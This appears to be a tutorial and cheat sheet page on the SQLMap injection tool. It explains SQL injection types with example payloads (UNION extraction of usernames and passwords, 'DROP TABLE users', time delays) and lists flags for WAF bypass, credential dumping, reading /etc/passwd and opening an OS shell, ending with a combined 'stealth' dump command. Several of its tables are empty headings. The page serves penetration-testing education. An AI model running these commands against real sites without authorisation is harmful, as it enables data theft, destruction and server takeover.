Introduction to SQLMap

What is SQLMap?#

SQLMap is an open-source tool designed to detect and exploit SQL Injection vulnerabilities in web applications. It works via command-line interface (CLI) and automates the process of finding and exploiting SQLi vulnerabilities.

Why is it useful?#

• Automatically detects injection points in URLs and POST requests.
• Identifies the type of injection (boolean-based, time-based...).
• Allows extraction of databases, tables, columns, and data.
• Supports automated workflows (wizard mode, batch mode, etc.).

Why is it better than manual testing?#

📌 When should I use SQLMap?#

• When the URL contains dynamic parameters like ?id=1, ?cat=3.
• When you can intercept a POST request (e.g., login or search forms).
• When you want to quickly check if a website is vulnerable.

❌ When should I NOT use SQLMap?#

• If the page is static with no user input or dynamic parameters.
• If a WAF (Web Application Firewall) is in place blocking requests.
• If the site has protections like CAPTCHA or rate limiting.

🧠 How do I know if SQLMap will help?#

• The URL contains parameters that affect page output (dynamic GET).
• You found a POST form that sends user-controlled input.
• The site reacts to input (errors, delays, or content changes).

How to Use SQLMap#

SQLMap is a command-line tool, and you interact with it through various flags (options). Here's a complete guide to using it effectively.

🔹 Basic Syntax#

sqlmap -u <url> [options]

🔹 Main Options Explained#

🔹 Database Enumeration Flags#

🔹 Other Useful Flags#

🧠 Summary Table (Cheat Table)#

Step 3: Types of SQL Injection Vulnerabilities Detected by SQLMap#

SQLMap is a powerful tool that can automatically detect and exploit different types of SQL injection vulnerabilities. Here's an overview of the main types it can handle:

Boolean-based Blind#

• This type relies on sending different boolean conditions in the query and observing the response.
• Example: ?id=1 AND 1=1 vs ?id=1 AND 1=2
• Useful when the application does not return error messages but changes behavior based on true/false logic.

Time-based Blind#

• Exploits SQL injection by injecting commands that cause delays in the database's response.
• Example: ?id=1 AND SLEEP(5)
• Useful when no visible difference is shown in the page output.

Error-based#

• Leverages database error messages to extract data.
• Example: ?id=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT @@version)))
• Only works when verbose database error messages are shown.

UNION Query-based#

• Uses the UNION operator to join a malicious query with the original one.
• Example: ?id=1 UNION SELECT NULL, username, password FROM users
• Effective when column count and data types are known or guessed.

Stacked Queries#

• Executes multiple SQL statements in a single query.
• Example: ?id=1; DROP TABLE users--
• Only works if the backend database and the application allow multiple queries per statement.

Out-of-Band (OOB)#

• Exploits the database to make external network requests (e.g., DNS or HTTP).
• Example: Making the DBMS reach out to an attacker-controlled domain to exfiltrate data.
• Useful when in-band or inferential (blind) techniques are not effective.

SQLMap Cheat Sheet – Expert Guide for SQL Injection Exploitation#

This cheat sheet is designed for experienced penetration testers and bug bounty hunters who want to master SQL injection exploitation using sqlmap. It covers ALL relevant options, advanced techniques, and bypass strategies.

Basic Usage#

sqlmap -u "http://target.com/page.php?id=1" --batch

🔍 Detection Techniques#

• --level=1-5: Depth of tests (higher = more tests)
• --risk=1-3: Risk of tests
• --technique=BEUSTQ: Techniques to use
  • B: Boolean-based blind
  • E: Error-based
  • U: UNION query
  • S: Stacked queries
  • T: Time-based blind
  • Q: Inline queries

sqlmap -u "URL" --level=5 --risk=3 --technique=BEUSTQ

Advanced Options#

Bypassing WAFs#

--tamper=space2comment,randomcase,between,unionalltounion,modsecurityversioned

Use multiple tamper scripts together to bypass input filtering.

Enumeration#

--dbs               # List databases
--tables -D <DB>    # List tables in a database
--columns -T <TABLE> -D <DB>  # List columns
--dump -T <TABLE> -D <DB>     # Dump data from table

Credential Extraction#

--passwords         # Extract DBMS user passwords
--users             # Extract DBMS usernames
--roles             # List user roles

Authentication & Session Handling#

--cookie="PHPSESSID=abc123"
--auth-type=Basic --auth-cred="user:pass"
--headers="X-Requested-With: XMLHttpRequest"
--csrf-token=TOKEN
--forms              # Parse and use forms automatically

Crawl & Spider Targets#

--crawl=2           # Crawl site to depth 2
--forms             # Parse forms
--threads=5         # Use multithreading

Output & Reporting#

--batch             # No prompt, auto-confirm everything
--output-dir=/path  # Save results to specific folder
--flush-session     # Start fresh (delete old sessions)
--batch --banner    # Print DBMS banner

OS & File System Access#

--os-shell          # Launch OS shell
--os-pwn            # Attempt to gain OS shell
--file-read="/etc/passwd"
--file-write, --file-dest

Privilege Escalation#

--privileges        # Show current DB user privileges
--is-dba            # Check if current user is DBA
--current-user
--current-db

Common Tamper Scripts#

Useful Flags Summary Table#

Official Resources#

• SQLMap Official Website (opens in a new tab)
• SQLMap GitHub Repository (opens in a new tab)
• Tamper Scripts (opens in a new tab)

Tip: Combine multiple options for stealth + power:

sqlmap -u "http://target.com/page.php?id=1" --technique=BEUSTQ --tamper=space2comment --level=5 --risk=3 --dump --batch